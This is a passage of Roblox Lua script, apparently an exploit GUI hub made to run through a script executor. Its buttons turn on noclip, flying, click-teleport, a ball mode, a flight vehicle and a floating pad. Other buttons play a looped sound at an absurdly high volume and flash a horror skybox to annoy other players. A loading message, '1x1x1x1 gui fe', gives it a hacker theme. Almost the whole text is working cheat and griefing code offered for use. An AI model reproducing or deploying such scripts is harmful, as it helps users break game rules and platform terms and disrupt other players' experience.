rejoin.Font = Enum.Font.GothamBold
rejoin.Text = "rejoin"
rejoin.TextColor3 = Color3.fromRGB(0, 0, 0)
rejoin.TextScaled = true
rejoin.TextSize = 14.000
rejoin.TextWrapped = true
rejoin.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local gamePlaceId = game.PlaceId
local teleportService = game:GetService("TeleportService")
teleportService:Teleport(gamePlaceId, player)
end)
-- Scripts:
local function WVDQ_fake_script() -- ball.LocalScript
local script = Instance.new('LocalScript', ball)
script.Parent.MouseButton1Click:Connect(function()
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Camera = workspace.CurrentCamera
local SPEED_MULTIPLIER = 30
local JUMP_POWER = 60
local JUMP_GAP = 0.3
local character = game.Players.LocalPlayer.Character
for i,v in ipairs(character:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
local ball = character.HumanoidRootPart
ball.Shape = Enum.PartType.Ball
ball.Size = Vector3.new(5,5,5)
local humanoid = character:WaitForChild("Humanoid")
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Blacklist
params.FilterDescendantsInstances = {character}
local tc = RunService.RenderStepped:Connect(function(delta)
ball.CanCollide = true
humanoid.PlatformStand = true
if UserInputService:GetFocusedTextBox() then return end
if UserInputService:IsKeyDown("W") then
ball.RotVelocity -= Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("A") then
ball.RotVelocity -= Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("S") then
ball.RotVelocity += Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("D") then
ball.RotVelocity += Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
end
--ball.RotVelocity = ball.RotVelocity - Vector3.new(0,ball.RotVelocity.Y/50,0)
end)
UserInputService.JumpRequest:Connect(function()
local result = workspace:Raycast(
ball.Position,
Vector3.new(
0,
-((ball.Size.Y/2)+JUMP_GAP),
0
),
params
)
if result then
ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0)
end
end)
Camera.CameraSubject = ball
humanoid.Died:Connect(function() tc:Disconnect() end)
end)
end
coroutine.wrap(WVDQ_fake_script)()
local function UUBW_fake_script() -- noclip.LocalScript
local script = Instance.new('LocalScript', noclip)
local noClipEnabled = false
--Toggle noclipButton
script.parent.MouseButton1Click:Connect(function()
noClipEnabled = not noClipEnabled
script.Parent.Text = noClipEnabled and "No-Clip: ON" or "No-Clip: OFF"
if noClipEnabled then
-- Enable Button
game:GetService("RunService").Stepped:Connect(function()
if noClipEnabled then
for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") and part.CanCollide then
part.CanCollide = false
end
end
end
end)
else
--Disable noclipButton
for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
end
end)
end
coroutine.wrap(UUBW_fake_script)()
local function JLHA_fake_script() -- plane.LocalScript
local script = Instance.new('LocalScript', plane)
function click()
repeat wait() until game:IsLoaded() and game:service("Players").LocalPlayer.Character ~= nil;
wait(0.4)
for i, v in pairs(game:service("Players").LocalPlayer.Character:children()) do
if v ~= script then
v:Destroy()
end
end
local player = game:service("Players").LocalPlayer
local mouse = player:GetMouse()
local cam = workspace.CurrentCamera
local char = player.Character
local Torsoz = char:findFirstChild("Torso")
local NV = Vector3.new()
local Main
local W,S = false,false
local DoublePress = {nil,0}
script.Parent = char
local TrailParts = {}
local Acceleration = 0.08
local Speed = 0
local MinSpeed = 0
local MaxSpeed = 3.2
local DesiredDirection = cam.CoordinateFrame.lookVector
local Direction = DesiredDirection
local Roll = 0
local AllowTrails = true
script.Name = "AdvFlight"
local P = Instance.new("Part")
P.Anchored = true
P.CanCollide = false
P.Name = "Part"
P.formFactor = "Custom"
P.Size = Vector3.new(0.2,0.2,0.2)
P.Locked = true
P.TopSurface = 10
P.BottomSurface = 10
P.FrontSurface = 10
P.BackSurface = 10
P.LeftSurface = 10
P.RightSurface = 10
P.Material = "Pebble"
P.BrickColor = BrickColor.new("White")
local shipp
local shadow
local campart
function RAY(pos, dir, startpos, endpos, distleft, collidedlist)
collidedlist = collidedlist or {char}
startpos = startpos or pos
distleft = distleft or dir.unit * dir.magnitude
endpos = endpos or pos + distleft
local ray = Ray.new(pos, distleft)
local hitz,enz = workspace:FindPartOnRayWithIgnoreList(ray, collidedlist)
if hitz ~= nil then
if hitz.CanCollide == false then
table.insert(collidedlist, hitz)
local newpos = enz
local newdistleft = distleft - (dir.unit * (pos - newpos).magnitude)
if newdistleft ~= NV then
return RAY(newpos-(dir*0.01), dir, startpos, endpos, newdistleft+(dir*0.01), collidedlist)
end
end
end
return hitz, enz, ray
end
function FindSurface(part, position)
local obj = part.CFrame:pointToObjectSpace(position)
local siz = part.Size/2
for i,v in pairs(Enum.NormalId:GetEnumItems()) do
local vec = Vector3.FromNormalId(v)
local wvec = part.CFrame:vectorToWorldSpace(vec)
local vz = (obj)/(siz*vec)
if (math.abs(vz.X-1) < 0.01 or math.abs(vz.Y-1) < 0.01 or math.abs(vz.Z-1) < 0.01) then
return wvec,vec
end
end
if part.className == "WedgePart" then
return part.CFrame:vectorToWorldSpace(Vector3.new(0,0.707,-0.707)), Vector3.new(0,0.707,-0.707)
end
end
function HSV(H,S,V)
H = H % 360
local C = V * S
local H2 = H/60
local X = C * (1 - math.abs((H2 %2) -1))
local color = Color3.new(0,0,0)
if H2 <= 0 then
color = Color3.new(C,0,0)
elseif 0 <= H2 and H2 <= 1 then
color = Color3.new(C,X,0)
elseif 1 <= H2 and H2 <= 2 then
color = Color3.new(X,C,0)
elseif 2 <= H2 and H2 <= 3 then
color = Color3.new(0,C,X)
elseif 3 <= H2 and H2 <= 4 then
color = Color3.new(0,X,C)
elseif 4 <= H2 and H2 <= 5 then
color = Color3.new(X,0,C)
elseif 5 <= H2 and H2 <= 6 then
color = Color3.new(C,0,X)
end
local m = V - C
return Color3.new(color.r + m, color.g + m, color.b + m)
end
function Build(shiptype)
AllowTrails = true
for i, v in pairs(char:children()) do
if v.className == "Model" and v.Name == "Ship" then
v:remove()
end
end
for i, v in pairs(TrailParts) do
for _,V in pairs(v[3]) do
V:Destroy()
end
end
local mdl = Instance.new("Model", char)
mdl.Name = "Ship"
------------------------ Speeder Ship Type -----------------------------
if shiptype == "Speeder" then
shipp = P:Clone()
shipp.Parent = mdl
shipp.Size = Vector3.new(1,1,2.2)
local shipwing1 = P:Clone()
shipwing1.Parent = mdl
shipwing1.Size = Vector3.new(0.6,1.2,2)
local mesh = Instance.new("SpecialMesh", shipwing1)
mesh.MeshType = "Wedge"
local shipwing2 = shipwing1:Clone()
shipwing2.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwing21 = P:Clone()
shipwing21.Parent = mdl
shipwing21.Size = Vector3.new(0.32,1.1,2.6)
local mesh = Instance.new("SpecialMesh", shipwing21)
mesh.MeshType = "Wedge"
local shipwing22 = shipwing21:Clone()
shipwing22.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwi = P:Clone()
shipwi.Parent = mdl
shipwi.Size = Vector3.new(1,1,1.2)
local mesh = Instance.new("SpecialMesh", shipwi)
mesh.MeshType = "Wedge"
local shipwi2 = P:Clone()
shipwi2.Parent = mdl
shipwi2.Size = Vector3.new(0.7,0.7,0.84)
shipwi2.Material = "SmoothPlastic"
shipwi2.BrickColor = BrickColor.new("Pastel blue")
shipwi2.Reflectance = 0.6
local mesh = Instance.new("SpecialMesh", shipwi2)
mesh.MeshType = "Wedge"
shadow = P:Clone()
shadow.Parent = mdl
shadow.Name = "Shadow"
shadow.Material = "SmoothPlastic"
shadow.BrickColor = BrickColor.new("Really black")
local mesh = Instance.new("SpecialMesh",shadow)
mesh.MeshType = "Sphere"
TrailParts = {}
table.insert(TrailParts,{shipp,1,{},cam.CoordinateFrame.p,CFrame.new(0,0,1),0.5,18})
table.insert(TrailParts,{shipwing1,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
table.insert(TrailParts,{shipwing2,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
for _, V in pairs(TrailParts) do
for i = 1, V[7] do
local p = P:Clone()
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshId = "http://www.roblox.com/asset/?id=9856898"
mesh.TextureId = "http://www.roblox.com/asset/?id=48358980"
p.BrickColor = BrickColor.new("Dark stone grey")
table.insert(V[3],p)
end
end
function ReposParts()
shipwing1.CFrame = shipp.CFrame * CFrame.new(-1.1,-0.195,-0.14) * CFrame.Angles(0,0,math.pi/2)
shipwing2.CFrame = shipp.CFrame * CFrame.new(1.1,-0.195,-0.14) * CFrame.Angles(0,0,-math.pi/2)
shipwing21.CFrame = shipp.CFrame * CFrame.new(-1.05,-0.34,-0.45) * CFrame.Angles(0,0,math.pi/2)
shipwing22.CFrame = shipp.CFrame * CFrame.new(1.05,-0.34,-0.45) * CFrame.Angles(0,0,-math.pi/2)
shipwi.CFrame = shipp.CFrame * CFrame.new(0,0,-1.7)
shipwi2.CFrame = shipwi.CFrame * CFrame.new(0,0.015,-0.015)
campart.CFrame = shipp.CFrame + Vector3.new(0,1.5,0)
end
cam.CameraSubject = campart
cam.CameraType = "Track"
shipp.CFrame = CFrame.new(NV,Direction) + cam.CoordinateFrame.p
ReposParts()
end
AllowTrails = true
end
Build("Speeder")
function B1D()
Build("Speeder")
end
function RollThatSht(direc)
if Roll == 0 then
for i = 1, 50 do
Roll = (-360 + math.cos(math.pi/50*i) * 360) * direc
wait(0.02)
end
Roll = 0
end
end
function KD(key)
if key == "w" then
W = true
elseif key == "s" then
S = true
end
local rollpls = 0
if key == DoublePress[1] and tick() - DoublePress[2] < 0.32 then
DoublePress = {nil,0}
if key == "a" then
rollpls = -1
elseif key == "d" then
rollpls = 1
end
end
DoublePress = {key,tick()}
if rollpls ~= 0 then
RollThatSht(rollpls)
end
end
function KU(key)
if key == "w" then
W = false
elseif key == "s" then
S = false
end
end
function Equip()
end
function Unequip()
end
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(B1D)
mouse.KeyDown:connect(KD)
mouse.KeyUp:connect(KU)
local count = 0
local hue = 0
--game:GetService("RunService").Stepped:connect(function()
while wait(0.02) do
------ Speed --------
local valu = (0.002*MaxSpeed) + ((Speed/MaxSpeed)*Acceleration)
if W == true then
Speed = Speed + valu
elseif S == true then
Speed = Speed - valu
end
if Speed > MaxSpeed then
Speed = MaxSpeed
elseif Speed < MinSpeed then
Speed = MinSpeed
end
------ left/right tilt ---------
local target = 180 + math.floor(math.deg(math.atan2(DesiredDirection.x,DesiredDirection.z)))
local current = 180 + math.floor(math.deg(math.atan2(Direction.x,Direction.z)))
local swing = 0
if math.abs(math.abs(current-target) - 360) > math.abs(target-current) then
swing = target-current
else
swing = (current > target and -(math.abs(current-target) - 360)) or (current < target and math.abs(current-target) - 360)
end
DesiredDirection = cam.CoordinateFrame.lookVector
------ direction smoothening ------
local dir = DesiredDirection.unit
if Direction ~= dir then
if (Direction - dir).magnitude < 0.01 then
Direction = dir
else
local dist = ((dir - Direction).unit * (dir - Direction).magnitude) /10
Direction = (Direction + dist).unit
end
end
shipp.CFrame = (CFrame.new(NV,Direction) + shipp.Position + (Direction.unit * Speed)) * CFrame.Angles(0,0,math.rad(Roll) + math.rad(swing/2))
ReposParts()
------ shadow ------
local ghitz, genz = RAY(shipp.Position,Vector3.new(0,-26,0))
local angles = CFrame.new()
if ghitz ~= nil and ghitz.className ~= "Terrain" and ((ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Block) or (ghitz.className ~= "Part" and ghitz:IsA("BasePart"))) then
local wvec,vec = FindSurface(ghitz,genz)
angles = CFrame.new(NV,wvec) * CFrame.Angles(-math.pi/2,0,0)
elseif ghitz ~= nil and (ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Ball) then
angles = (CFrame.new(ghitz.Position, genz) - ghitz.Position) * CFrame.Angles(-math.pi/2,0,0)
end
shadow.CFrame = CFrame.new(genz) * angles
shadow.Transparency = 0.5 + (((shipp.Position - genz).magnitude /26)*0.5)
shadow.Mesh.Scale = (Vector3.new(4.4,0.25,4.4) * 5) * (1-(shipp.Position - genz).magnitude /26)
------- Trails -----------------------
if AllowTrails == true then
count = (count+1)%1
hue = (hue+1) % 360
local rgb = HSV(hue,0.65,0.85)
for _,v in pairs(TrailParts) do
local to = (v[1].CFrame * v[5]).p
if Speed > MinSpeed + 0.2 then
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].CFrame = CFrame.new((v[4] + to)/2,to) * CFrame.Angles(math.pi/2,math.rad(Roll) + math.rad(swing/2),0)
v[3][v[2]].Mesh.Scale = Vector3.new(v[6],(v[4] - to).magnitude*2,v[6])
v[3][v[2]].Mesh.VertexColor = Vector3.new(rgb.r,rgb.g,rgb.b)
v[3][v[2]].Transparency = 0.15
v[3][v[2]].Parent = game.Players.LocalPlayer.Character
else
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].Parent = nil
end
v[4] = to
end
end
end
--end)
-- 138098590 -- plane destroyed sound
-- 133082569 -- propeller 2
-- 135645246 -- propeller 1
--[[ Possible Game names
Aeroscape
Airbound
Aerialtude
]]
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(JLHA_fake_script)()
local function SSWSNG_fake_script() -- fly.LocalScript
local script = Instance.new('LocalScript', fly)
speeds = 1
local speaker = game:GetService("Players").LocalPlayer
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
nowe = false
script.parent.MouseButton1Down:connect(function()
if nowe == true then
nowe = false
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
else
nowe = true
for i = 1, speeds do
spawn(function()
local hb = game:GetService("RunService").Heartbeat
tpwalking = true
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and hum.Parent do
if hum.MoveDirection.Magnitude > 0 then
chr:TranslateBy(hum.MoveDirection)
end
end
end)
end
game.Players.LocalPlayer.Character.Animate.Disabled = true
local Char = game.Players.LocalPlayer.Character
local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController")
for i,v in next, Hum:GetPlayingAnimationTracks() do
v:AdjustSpeed(0)
end
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
end
if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").RigType == Enum.HumanoidRigType.R6 then
local plr = game.Players.LocalPlayer
local torso = plr.Character.Torso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
game:GetService("RunService").RenderStepped:Wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
-- game.Players.LocalPlayer.Character.Animate.Disabled = true
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
else
local plr = game.Players.LocalPlayer
local UpperTorso = plr.Character.UpperTorso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", UpperTorso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = UpperTorso.CFrame
local bv = Instance.new("BodyVelocity", UpperTorso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
end
end)
local tis
end
coroutine.wrap(SSWSNG_fake_script)()
local function GYRIVDI_fake_script() -- tp.LocalScript
local script = Instance.new('LocalScript', tp)
script.Parent.MouseButton1Click:Connect(function()
mouse = game.Players.LocalPlayer:GetMouse()
tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "Click Teleport"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end)
end
coroutine.wrap(GYRIVDI_fake_script)()
local function BCBQLZ_fake_script() -- floatingpad.LocalScript
local script = Instance.new('LocalScript', floatingpad)
script.Parent.MouseButton1Click:Connect(function()
local name = game.Players.LocalPlayer.Name
local p = Instance.new("Part")
p.Parent = workspace
p.Locked = true
p.Color = Color3.new(0.666667, 0, 0)
p.Size = Vector3.new(8, 1.2, 8)
p.Anchored = true
local m = Instance.new("CylinderMesh")
m.Scale = Vector3.new(1, 0.5, 1)
m.Parent = p
while true do
p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z)
wait()
end
end)
end
coroutine.wrap(BCBQLZ_fake_script)()
local function KXYQAXQ_fake_script() -- Frame.UIDrag
local script = Instance.new('LocalScript', Frame)
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end
coroutine.wrap(KXYQAXQ_fake_script)()
local function GEVXYR_fake_script() -- ScreenGui.notfication
local script = Instance.new('LocalScript', ScreenGui)
wait(2)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "now loaded lol";
Text = "By FishNoobAhh";
Icon = "";
Duration = 10;
Button1 = "yes sirrr";
})
end
coroutine.wrap(GEVXYR_fake_script)()
local function PYIQX_fake_script() -- ScreenGui.messageload
local script = Instance.new('LocalScript', ScreenGui)
if script.Parent.Enabled == true then
local m = Instance.new("Message", game.Workspace)
m.Text = "1x1x1x1 gui fe Loading..."
wait(2)
m:Destroy()
script:Destroy()
else
end
end
coroutine.wrap(PYIQX_fake_script)()
end)
end;
task.spawn(C_4);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_6()
local script = G2L["6"];
function onClick()
local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079"
uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_6);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_8()
local script = G2L["8"];
script.Parent.MouseButton1Down:Connect(function()
imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end
end)
end;
task.spawn(C_8);
-- StarterGui.ScreenGui.Frame.LocalScript
local function C_9()
local script = G2L["9"];
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end;
task.spawn(C_9);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_b()
local script = G2L["b"];
function click()
function exPro(root)
for _, v in pairs(root:GetChildren()) do
